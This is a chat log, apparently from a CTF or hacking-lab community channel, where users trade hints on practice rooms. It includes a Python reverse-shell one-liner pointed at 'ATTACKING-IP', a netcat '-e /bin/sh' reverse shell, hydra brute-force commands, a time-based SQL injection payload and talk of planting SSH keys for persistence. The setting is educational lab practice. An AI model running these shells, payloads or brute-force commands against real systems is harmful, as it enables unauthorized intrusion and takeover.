Look at the hint on the room, you should have already seen what you need to do ๐
white salmon
can i DM you @wraith marsh or @white salmon , I fear i might spill some info hear in the process of discussing
I don't use python so I doubt I will be any help to you. (thank you for asking first though)
wraith marsh
Python playground is a new hard room @white salmon
Yeah you can DM me @white salmon
lyric steeple
May I ask for any hint to get flag3 (Python Playground)?
ember cove
I'm on the Linux challenge where I have to download an mp3 file to get the next flag. Is there any chance someone could give me a clue as to where I would find what port I should be connecting to?
inland onyx
How are you downloading it?
There are a tonne of different ways to do it
I'd be using netcat and /dev/tcp myself ๐คทโโ๏ธ
ember cove
Oh sorry I should have specified, I'm using filezilla
ember cove
Oh there's a method of doing it in-machine?
inland onyx
Not listening to it
Either way you'll need to exfiltrate it
FTP and SCP are the heavyweight options though
ember cove
Oooh ok. Sorry but I have a couple more questions now :L So are there port numbers that are set universally on all machines for certain purposes?
steady stratus
RFC 1340 IIRC
inland onyx
Thanks James
stuck fractal
I got u
ember cove
Ahh I was googling all wrong then, I was trying to look for what ports are open
thanks james!
inland onyx
For a certain number after that, they're "reserved"
inland onyx
After that, they're free to use
stuck fractal
nmap -sV -v -p-
ember cove
So is there a way of exfiltrating the file from this challenge without using FTP or SCP?
inland onyx
nc -lvnp 1234 on your own host
ember cove
Ahhh interesting
inland onyx
Np ๐
shrewd verge
im currently doing the wgel
i did get the ||key ||but how to use it? ermmm... ||ssh -i file ip||?
shrewd verge
owh.. im still lacks username maybe..
stuck fractal
Guess you need to keep going then
shrewd verge
yea thank.. i though im using wrong command for ssh
stuck fractal
the RSA key authenticates you to the server, like a password would be better
You still need to say who you're connecting as
frank meteor
probably dat means dont use rockyou.txt??
placid drift
using rockyou.txt
frank meteor
which room is this
wooden mist
your "pass/fail" check is probably wrong
white salmon
Can we see the whole command?
I just did the room so I may be able to help you out.
placid drift
white salmon
@placid drift
wooden mist
remove the verbose flag and try again
white salmon
This command should work.
white salmon
@wooden mist Doesn't matter. The command should stop as soon as it hits a valid combination.
wooden mist
ik
placid drift
yea
wooden mist
oh wait
placid drift
should be nothing wrong with using -V
wooden mist
your route is wrong
placid drift
the login ?
wraith marsh
your command is wrong
placid drift
oh im seeing something wrong here
wraith marsh
oh damn, szy beat me to it
white salmon
Is the URI wrong?
wooden mist
yes
wraith marsh
hydra -l <user> -P pwlist <ip> http-post-form "/login:username .....
wooden mist
with verbose disabled it'd be easier to notice
white salmon
Oh!
Yeah!!!!
What the hell?
So hard to spot.
But so obvious.
I have done a scan on Peak Hill.
Got 2 ports open.
Not sure what else to do.
I saw anonymous access.
Is that what I should go for?
wooden mist
do you see any other path you could take?
white salmon
SSH brute force?
Maybe username enumeration on port 22
and then password brute.
That's all I can see nwo.
white salmon
Maybe there's something python thing on FTP. I don't know. lol
Thanks for the hint.
Just looked up on ServerFault and had to do a "pass" before "dir"
Now I can see a file.
Thanks.
north moat
Parse through the results. What is the effective estimated entropy measured in? it need i enter percentage ?
white salmon
hi
rancid crystal
hi
@white salmon hye?
white salmon
@white salmon hye?
@rancid crystal i wrote in wrong channel sry
rancid crystal
๐
void shoal
Any hints for wonderland root privexec
void shoal
I did run linpeas but let me go through the output once more. ๐
covert basalt
@void shoal you are more capable than you think
glacial remnant
Noobie here (Only 1 hour in), I'm stumped on what the answer for task 12 on "Learn Linux" is.
tidal sedge
man su
stuck fractal
@glacial remnant Specificially for su
glacial remnant
is it only 2 digits?
stuck fractal
2 characters
glacial remnant
Okay, I'm still unsure of what to enter as I've tried everything that appers when
man su
is enteres
*entered
glacial remnant
@stuck fractal Thank you, I don't know why but I just didn't spot it
stuck fractal
Got it?
glacial remnant
Yup
stuck fractal
Cool
copper hound
I need some help in room Hydra - Question 1 I'm brute forcing with rockyou.txt but I just saw in hint they say || If you've tried more than 30 passwords from RockYou.txt, you are doing something wrong! ||
I use this command to brute-force on web hydra -t 4 -V -f -l molly -P rockyou.txt rdp://$ip
copper hound
I'm new in web of hydra I didn't know actually what should I do I cheak a blog there they using this cmd....can I ask you for some resource ?
stuck fractal
copper hound
I'm doing this room ๐ should I use http://$ip ?
stuck fractal
Read the material you are given in the room
It will tell you exactly how to use hydra for this
copper hound
ok thanks
lyric steeple
May I ask for any hint to get flag3 (Python Playground)?
Finally completed. Write-up is ready and will be published soon.
quiet stump
Can I get a some help on foothold for mindgames?
patent token
Didn't it just drop?
stuck fractal
Yes
@quiet stump tbh, the foothold is trivial. Have a look at what you're given. RE it.
quiet stump
I was joking dw ๐
random cypress
i rooted lordofroot
but wondering ||if there is a script to do it without sqlmap?||
even most guides used it
anyone know of a way without for the db part
oblique cliff
I'm wondering the same @random cypress ๐
random cypress
i cant even fathom how much youd have to script yourself to get the same result
and im not finding anything on github etc
patent token
So, you could find what is in the SQLi error returned by SQLmap and try to recreate it.
' AND (SELECT *
FROM (SELECT(SLEEP(5)))PWKv) AND
'eVRP'='eVRP&submit= Login
Something like that in the address bar, but adjusted to the parameters you want.
white salmon
please hint on privesc in mindgames
inland onyx
You are not getting a hint
patent token
It's only been out a couple hours.
inland onyx
40 minutes
stuck fractal
@white salmon Elf, it's literally just come out
stuck fractal
It's a hard box
white salmon
yes
covert basalt
any hint for the racetrack . I've got the premium feature
random cypress
Something like that in the address bar, but adjusted to the parameters you want.
@patent token but my understanding is the username|| is whats vulnerable. or is that what you mean enter it in the address bar? also where did you get that poc? I understand it but im confused by your PWKv and eVRP values||
granted if this level of sqli is not on the exam for now its okay not knowing
if it is wow
patent token
I literally just copy/pasted one of the returns from sqlmap. SQLmap is using that information as an injection parameter.
For OSCP, if that's what you're referring to, will probably be more simplistic than that and throw an error or something that you can use.
random cypress
ah i think i ignored its output a bit too much
just paying attetnion to the bright colors
thanks
thorny nest
I havenโt finished with playground and now thereโs mindgames? Itโs like my headโs about to burst
โLet people struggleโ
viscid egret
hey i am trying to get a reverse shell on cod caper but i cant get it to send the actual shell. Any ideas?
netcat is listening
command that i sent is nc -e /bin/sh 10.2.17.239 4444
oblique cliff
Try a different reverse shell command
viscid egret
i did
used bash + perl
and tried python
and telnet
even the command for if nc doesnt like -e
oblique cliff
What was the python command you ran?
viscid egret
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
oblique cliff
As well as the netcat command to listen?
patent token
You have port 80
oblique cliff
What happens
oblique cliff
Letโs move this to #room-help
viscid egret
sure
fluid dagger
Hi guys, is there a writeup or explanation for the room "Intro to x86-64" ? I found password at task 6, but I was "lucky". I think I don't have the good way to reverse it. I'm not able to find the password for Task 7, I'm stuck since yesterday
viscid egret
when i try to run john, then it says [1] 37370 segmentation fault john shadow
any idea why?
command: john --wordlist=../Tools/SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz shadow
digital iris
@viscid egret firstly you need to extract the file
hasty slate
is it too early for hints in mindgames? lol
digital iris
i assume so since james put that note in the task description about no livestreams
ripe hedge
so is opening a reverse shell and shoving your ssh public key on a machine so you can log in via ssh and get a real shell cheating?
ripe hedge
trying the mindgames
wraith marsh
I do that every time Iโm able to!
inland onyx
That's a sensible solution for mindgames
ripe hedge
good to know
yeah I was trying to write a script to send a post to the transpiler, and then thought why am I not getting a reverse shell?
hasty slate
so there is repo pwncat made by john's roommate caleb, it gives u a stable shell with color and ctrl-c support. recently using that.. otherwise I used to do that as well.
ripe hedge
bookmarked
white salmon
Good morning from Australia.
thorny nest
Finally rooted python playground. Thanks to @wraith marsh and @white salmon for the nudges. On to mindgames!
white salmon
Going to try Peak-Hill again.
white salmon
Aaa pls hint on mind games privesc
twilit swallow
hey working on steganography room and I am on tasks 5 last question I ran the tool and got a bin file but not sure how to run it and suggestions?
worn cloud
Hi guys I am having trouble with the flag 26 of the linux challenge. I have to find a string in the whole system that starts with 4bcbe and Iยดm using ||find / 2>/dev/null | grep "4bcbe*"|| but nothing shows up, can someone help me get into the right way?
lament comet
elder bloom
